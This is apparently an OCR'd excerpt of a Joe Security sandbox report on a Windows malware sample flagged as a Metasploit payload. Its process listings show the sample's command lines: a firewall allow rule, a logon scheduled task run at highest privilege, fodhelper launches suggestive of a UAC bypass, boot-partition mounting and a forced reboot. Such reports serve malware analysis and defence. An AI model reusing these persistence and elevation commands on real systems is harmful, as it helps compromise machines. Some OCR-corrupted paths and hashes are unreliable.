CF-RAY: 6ac392db8b07f407-LHR

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Data Raw: 65 38 0d Oa 39 38 47 41 34 49 33 50 2f 6f 71 6a 79 76 69 64 75 6¢ 6d 66 71 58 53 32 54 74 4c 50 51 63 42 54
62 64 6¢ 47 49 72 39 45 68 30 66 57 32 78 4a 54 39 67 49 48 2f 6b 6d 39 45 35 54 4e 6¢ 57 47 50 77 78 79 2b 53 43 38
59 46 32 76 74 41 2b 30 51 73 66 42 6b 74 4a 75 4e 77 34 74 41 2b 4c 39 54 65 69 56 4b 4e 50 77 4b 52 51 46 66 7a 51
62 62 37 36 35 6b 71 74 57 45 31 5a 30 4a 77 4f 6f 2b 73 57 73 71 55 48 6¢ 63 74 57 37 76 66 73 7357 4537 736263 5
736 6a 36 3131 75 49 52 30 66 35 54 71 53 78 52 75 4c 42 58 33 51 69 55 6¢ 33 65 6e 50 39 4f 4e 77 4e 6¢ 74 78 71 75
59 67 35 74 53 41 79 35 30 6a 59 6e 77 74 66 32 44 35 6f 76 6a 64 66 32 6f 7a 48 6a 32 75 51 4f 71 70 6f 53 64 78 52 7a
41 3d 3d 0d Oa

Data Ascii: e€898GA4I3P/ogjyvidulmfgXS2TtLPQcBTbhdIGIr9EhOfW2xJT9gIH/KmIESTNIWGPwxy+SC8Y F2vtA+0QsfBkt]
UNw4tA+L9TeiVKNPWKRQFfzQbb765kqtWE1Z0JwOo+sWsqUHIctW7vfssWE7sbcW6j611ulROf5TqSXRULBX3QiUI3
enP9ONwNItxquYg5tSAy50jY nwtf2D50vjdf20zHj2uQOgpoSdxRzA==

Data Raw: 30 0d Oa Od Oa
Data Ascii: 0

Analysis Process: 4t4y4r89UZ.exe PID: 5272 Parent PID: 4856

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Copyright Joe Security LLC 2021

01:56:58
11/11/2021
C:\Users\user\Desktop\4t4y4r89UZ.exe

true
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Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Written

Registry Activities

Key Created

Key Value Created

"C:\Users\user\Desktop\4t4y4r89UZ.exe"
0x400000

4520488 bytes
14C0D8425930CCEC0566B04864A05670
true

true

C, C++ or other language

e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source:
00000000.00000003.284369390.0000000005CCA000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source: 00000000.00000002.295699517.0000000005040000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source: 00000000.00000002.291152945.0000000000400000.00000040.00020000.sdmp,
Author: Joe Security

low

Show Windows behavior

Show Windows behavior

Analysis Process: svchost.exe PID: 6436 Parent PID: 572

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:57:00

11/11/2021

C:\Windows\System32\svchost.exe

false

C:\Windows\System32\svchost.exe -k netsvcs -p
0x7ff70d6e0000

51288 bytes
32569E403279B3FD2EDB7EBD036273FA

true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: svchost.exe PID: 4072 Parent PID: 572

General

Start time: 01:57:01

Start date: 11/11/2021

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NchService

Imagebase: 0x7ff70d6e0000

File size: 51288 bytes

MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges:

Copyright Joe Security LLC 2021

true
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Has administrator privileges:

Programmed in:

true

C, C++ or other language

Reputation: high
Analysis Process: svchost.exe PID: 6272 Parent PID: 572
General
Start time: 01:57:01
Start date: 11/11/2021
Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
0x7ff70d6e0000

51288 bytes

32569E403279B3FD2EDB7EBD036273FA

true

false

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: svchost.exe PID: 3076 Parent PID: 572

General

Start time: 01:57:02

Start date: 11/11/2021

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
0x7ff70d6e0000

51288 bytes

32569E403279B3FD2EDB7EBD036273FA

true

false

C, C++ or other language

Reputation: high
Registry Activities Show Windows behavior
Analysis Process: svchost.exe PID: 6336 Parent PID: 572

General

Start time: 01:57:02

Start date: 11/11/2021

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

false

C:\Windows\System32\svchost.exe -k NetworkService -p
0x7ff70d6e0000

51288 bytes

32569E403279B3FD2EDB7EBD036273FA

true

false

C, C++ or other language
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Reputation: high
Analysis Process: svchost.exe PID: 6896 Parent PID: 572
General
Start time: 01:57:02
Start date: 11/11/2021
Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

c:\windows\system32\svchost.exe -k unistacksvcgroup
0x7ff70d6e0000

51288 bytes
32569E403279B3FD2EDB7EBD036273FA

false

false

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: SgrmBroker.exe PID: 6784 Parent PID: 572

General

Start time: 01:57:03

Start date: 11/11/2021

Path: C:\Windows\System32\SgrmBroker.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false
C:\Windows\system32\SgrmBroker.exe
0x7ff7d8ac0000

163336 bytes
D3170A3F3A9626597EEE1888686E3EA6
true

true

C, C++ or other language

Reputation: high
Analysis Process: svchost.exe PID: 6848 Parent PID: 572
General
Start time: 01:57:04
Start date: 11/11/2021
Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

Registry Activities

Copyright Joe Security LLC 2021

false

c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
0x7ff70d6e0000

51288 bytes

32569E403279B3FD2EDB7EBD036273FA

true

false

C, C++ or other language

high

Show Windows behavior
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Analysis Process: Trustedinstaller.exe PID: 6756 Parent PID: 572

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:57:04

11/11/2021
C:\Windows\servicing\TrustedInstaller.exe
false
C:\Windows\servicing\TrustedInstaller.exe
0x7ff6564e0000

131584 bytes
4578046C54A954C917BB393B70BA0AEB
true

true

C, C++ or other language

Reputation: moderate
File Activities Show Windows behavior
Registry Activities Show Windows behavior
Analysis Process: 4t4y4r89UZ.exe PID: 5300 Parent PID: 5272

General

Start time: 01:57:05

Start date: 11/11/2021

Path: C:\Users\user\Desktop\4t4y4r89UZ.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

File Activities

File Created

File Written

File Read

Registry Activities

Key Value Created

Key Value Modified

Copyright Joe Security LLC 2021

true
C:\Users\user\Desktop\4t4y4r89UZ.exe
0x400000

4520488 bytes
14C0D8425930CCEC0566B04864A05670
true

true

C, C++ or other language

e Rule: JoeSecurity MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source:
0000000A.00000003.299643807.0000000005C5A000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source:
0000000A.00000002.317378119.0000000000400000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source:
0000000A.00000002.321014783.0000000004FD0000.00000040.00000001.sdmp, Author:
Joe Security

Show Windows behavior

Show Windows behavior
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Analysis Process: cmd.exe PID: 2012 Parent PID: 5300

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

01:57:11

11/11/2021
C:\Windows\System32\cmd.exe
false

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in a
ction=allow program="C:\Windows\rss\csrss.exe" enable=yes"

0x7ff64bd60000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
true

true

C, C++ or other language

Show Windows behavior

Analysis Process: conhost.exe PID: 7108 Parent PID: 2012

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:57:11

11/11/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: netsh.exe PID: 7080 Parent PID: 2012

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

Registry Activities

Copyright Joe Security LLC 2021

01:57:11

11/11/2021
C:\Windows\System32\netsh.exe
false

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\
rss\csrss.exe" enable=yes

0x7ff7c1c10000

92672 bytes
98CC37BBF363A38834253E22C80A8F32
true

true

C, C++ or other language

Show Windows behavior

Show Windows behavior
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Analysis Process: csrss.exe PID: 3192 Parent PID: 5300

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

01:57:13

11/11/2021

C:\Windows\rss\csrss.exe

true

C:\Windows\rss\csrss.exe /305-305
0x400000

4520488 bytes
14C0D8425930CCEC0566B04864A05670
true

true

C, C++ or other language

e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,

Source:

0000000E.00000003.327032138.000000000638A000.00000004.00000001.sdmp, Author:

Joe Security

e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,

Source:

0000000E.00000002.546482907.0000000000400000.00000040.00020000.sdmp, Author:

Joe Security

e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,

Source:

0000000E.00000002.554614867.0000000005700000.00000040.00000001.sdmp, Author:

Joe Security

File Activities

File Created

File Moved

File Written

File Read

Registry Activities

Key Created

Key Value Created

Key Value Modified

Show Windows behavior

Show Windows behavior

Analysis Process: csrss.exe PID: 1240 Parent PID: 3352

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

01:57:20

11/11/2021

C:\Windowsl\rss\csrss.exe

true

"C:\Windowsl\rss\csrss.exe"
0x7ff70d6e0000

4520488 bytes
14C0D8425930CCEC0566B04864A05670
false

false

C, C++ or other language

Page 35 of 45



Yara matches: e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source:
00000010.00000003.333119737.000000000638A000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source: 00000010.00000002.358316255.0000000000400000.00000040.00020000.sdmp,
Author: Joe Security

* Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source: 00000010.00000002.365686923.0000000005700000.00000040.00000001.sdmp,
Author: Joe Security

File Activities Show Windows behavior
Registry Activities Show Windows behavior
Key Created

Key Value Created

Analysis Process: svchost.exe PID: 6580 Parent PID: 572

General
Start time: 01:57:23
Start date: 11/11/2021
Path: C:\Windows\System32\svchost.exe
Wow64 process (32bit): false
Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase: 0x7ff70d6e0000
File size: 51288 bytes
MD5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
File Activities Show Windows behavior

Analysis Process: schtasks.exe PID: 4036 Parent PID: 3192

General
Start time: 01:57:24
Start date: 11/11/2021
Path: C:\Windows\System32\schtasks.exe
Wow64 process (32bit): false
Commandline: schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss
IF
Imagebase: 0x7ff7d1430000
File size: 226816 bytes
MD5 hash: 838D346D1D28F00783B7A6C6BD0O3A0DA
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
File Activities Show Windows behavior

Analysis Process: conhost.exe PID: 4004 Parent PID: 4036

General
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Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:57:25

11/11/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: schtasks.exe PID: 7076 Parent PID: 3192

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

01:57:25

11/11/2021
C:\Windows\System32\schtasks.exe

false

schtasks /delete /tn ScheduledUpdate /f
0x7ff7d1430000

226816 bytes
838D346D1D28F00783B7A6C6BDO3A0DA
true

true

C, C++ or other language

Show Windows behavior

Analysis Process: conhost.exe PID: 7100 Parent PID: 7076

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:57:25

11/11/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: csrss.exe PID: 7108 Parent PID: 664

General

Start time:
Start date:
Path:
Wow64 process (32bit):
Commandline:
Imagebase:
File size:
MDS5 hash:
Copyright Joe Security LLC 2021

01:57:25

11/11/2021

C:\Windows\rss\csrss.exe

true

C:\Windowsl\rss\csrss.exe

0x400000

4520488 bhytes
14C0D8425930CCEC0566B04864A05670
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Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

File Activities

File Written

true
true
C, C++ or other language

e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source:
00000017.00000003.358520385.000000000638A000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source: 00000017.00000002.387694922.0000000000400000.00000040.00020000.sdmp,
Author: Joe Security

e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source: 00000017.00000002.393659101.0000000005700000.00000040.00000001.sdmp,
Author: Joe Security

Show Windows behavior

Analysis Process: mountvol.exe PID: 5656 Parent PID: 3192

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

01:57:25

11/11/2021
C:\Windows\SysWOW64\mountvol.exe
true

mountvol B: /s

0x900000

15360 bytes
5C11B99E6D41403031CD946255E8A353
true

true

C, C++ or other language

Show Windows behavior

Analysis Process: conhost.exe PID: 3012 Parent PID: 5656

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:57:26

11/11/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: cmd.exe PID: 7140 Parent PID: 1240

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Copyright Joe Security LLC 2021

01:57:26

11/11/2021
C:\Windows\System32\cmd.exe
false
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Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

C:\Windows\Sysnative\cmd.exe /C fodhelper
0x7ff64bd60000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language

File Activities

Show Windows behavior

Analysis Process: mountvol.exe PID: 2224 Parent PID: 3192

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:57:27

11/11/2021
C:\Windows\SysWOWe64\mountvol.exe
true

mountvol B: /d

0x900000

15360 bytes
5C11B99E6D41403031CD946255E8A353
true

true

C, C++ or other language

Analysis Process: conhost.exe PID: 5580 Parent PID: 7140

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:57:27

11/11/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: fodhelper.exe PID: 6256 Parent PID: 7140

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:
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01:57:27

11/11/2021
C:\Windows\System32\fodhelper.exe

false

fodhelper

0x7ff7a9b10000

46080 bytes
1D1F9E564472A9698F1BE3FOFEB9864B
false

false

C, C++ or other language
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Analysis Process: conhost.exe PID: 5800 Parent PID: 2224

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

01:57:27
11/11/2021
C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1

Imagebase: 0x7ff7f20f0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
Analysis Process: fodhelper.exe PID: 5776 Parent PID: 7140

General

Start time: 01:57:28

Start date: 11/11/2021

Path: C:\Windows\System32\fodhelper.exe

Wow64 process (32bit): false

Commandline: "C:\Windows\system32\fodhelper.exe"

Imagebase: 0x7ff7a9b10000

File size: 46080 bytes

MD5 hash: 1D1F9E564472A9698F1BE3FIFEB9864B

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language
Analysis Process: mountvol.exe PID: 5784 Parent PID: 3192

General

Start time: 01:57:28

Start date: 11/11/2021

Path: C:\Windows\SysWOW64\mountvol.exe

Wow64 process (32bit): true

Commandline: mountvol B: /s

Imagebase: 0x900000

File size: 15360 bytes

MD5 hash: 5C11B99E6D41403031CD946255E8A353

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
Analysis Process: csrss.exe PID: 3016 Parent PID: 3352

General

Start time: 01:57:29

Start date: 11/11/2021

Path: C:\Windowsl\rss\csrss.exe

Wow64 process (32bit): true
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Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

"C:\Windows\rss\csrss.exe"

0x400000

4520488 bytes
14C0D8425930CCEC0566B04864A05670
false

false

C, C++ or other language

e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,

Source:

00000022.00000003.354921763.000000000638A000.00000004.00000001.sdmp, Author:

Joe Security

e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source: 00000022.00000002.388262330.0000000005700000.00000040.00000001.sdmp,

Author: Joe Security

e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source: 00000022.00000002.377614000.0000000000400000.00000040.00020000.sdmp,

Author: Joe Security

Analysis Process: conhost.exe PID: 1956 Parent PID: 5784

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:57:29

11/11/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: mountvol.exe PID: 7104 Parent PID: 3192

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:57:30

11/11/2021
C:\Windows\SysWOW64\mountvol.exe
true

mountvol B: /d

0x900000

15360 bytes
5C11B99E6D41403031CD946255E8A353
true

true

C, C++ or other language

Analysis Process: fodhelper.exe PID: 6016 Parent PID: 7140

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:
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01:57:33

11/11/2021
C:\Windows\System32\fodhelper.exe
false
"C:\Windows\system32\fodhelper.exe"
0x7ff7a9b10000

Page 41 of 45



File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

46080 bytes
1D1F9E564472A9698F1BE3FIFEB9864B
true

true

C, C++ or other language

Analysis Process: conhost.exe PID: 5108 Parent PID: 7104

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:57:34

11/11/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: csrss.exe PID: 5360 Parent PID: 6016

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

01:57:35

11/11/2021
C:\Windowsl\rss\csrss.exe
true
"C:\Windows\rss\csrss.exe"
0x400000

4520488 bytes
14C0D8425930CCEC0566B04864A05670
true

true

C, C++ or other language

e Rule: JoeSecurity MetasploitPayload_3, Description: Yara detected Metasploit Payload,

Source:
0000002A.00000002.376433226.0000000000400000.00000040.00020000.sdmp, Author:
Joe Security
e Rule: JoeSecurity MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source:
0000002A.00000003.364603703.000000000638A000.00000004.00000001.sdmp, Author:
Joe Security
e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source:
0000002A.00000002.387983179.0000000005700000.00000040.00000001.sdmp, Author:
Joe Security
Analysis Process: shutdown.exe PID: 5384 Parent PID: 3192

General

Start time: 01:57:36

Start date: 11/11/2021

Path: C:\Windows\SysWOW64\shutdown.exe

Wow64 process (32bit): true

Commandline: shutdown -r -t 5

Imagebase: 0xf0000

File size: 23552 bytes
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MD5 hash:
Has elevated privileges:
Has administrator privileges:

Programmed in:

E2EB9CCOFE26E28406FB6F82F8E81B26
true
true

C, C++ or other language

Analysis Process: conhost.exe PID: 6932 Parent PID: 5384

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:57:37

11/11/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: cmd.exe PID: 4400 Parent PID: 3016

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:57:37

11/11/2021

C:\Windows\System32\cmd.exe

false

C:\Windows\Sysnative\cmd.exe /C fodhelper
0x7ff64bd60000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
false

false

C, C++ or other language

Analysis Process: conhost.exe PID: 3212 Parent PID: 4400

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:57:38

11/11/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

Analysis Process: fodhelper.exe PID: 2528 Parent PID: 4400
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General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:57:38

11/11/2021
C:\Windows\System32\fodhelper.exe

false

fodhelper

0x7ff7a9b10000

46080 bytes
1D1F9E564472A9698F1BE3FIFEB9864B
false

false

C, C++ or other language

Analysis Process: fodhelper.exe PID: 3932 Parent PID: 4400

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01:57:39

11/11/2021
C:\Windows\System32\fodhelper.exe

false
"C:\Windows\system32\fodhelper.exe"
0x7ff7a9b10000

46080 bytes
1D1F9E564472A9698F1BE3FIFEBI864B
false

false

C, C++ or other language

Analysis Process: csrss.exe PID: 916 Parent PID: 7108

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Disassembly

Code Analysis

Copyright Joe Security LLC 2021

01:57:40

11/11/2021

C:\Windowsl\rss\csrss.exe

true

C:\Windowsl\rss\csrss.exe

0x400000

4520488 bytes
14C0D8425930CCEC0566B04864A05670
true

true

C, C++ or other language

e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,

Source:

00000032.00000003.393407437.000000000638A000.00000004.00000001.sdmp, Author:

Joe Security

e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source: 00000032.00000002.398055163.0000000000400000.00000040.00020000.sdmp,

Author: Joe Security

e Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload,
Source: 00000032.00000002.402547208.0000000005700000.00000040.00000001.sdmp,

Author: Joe Security
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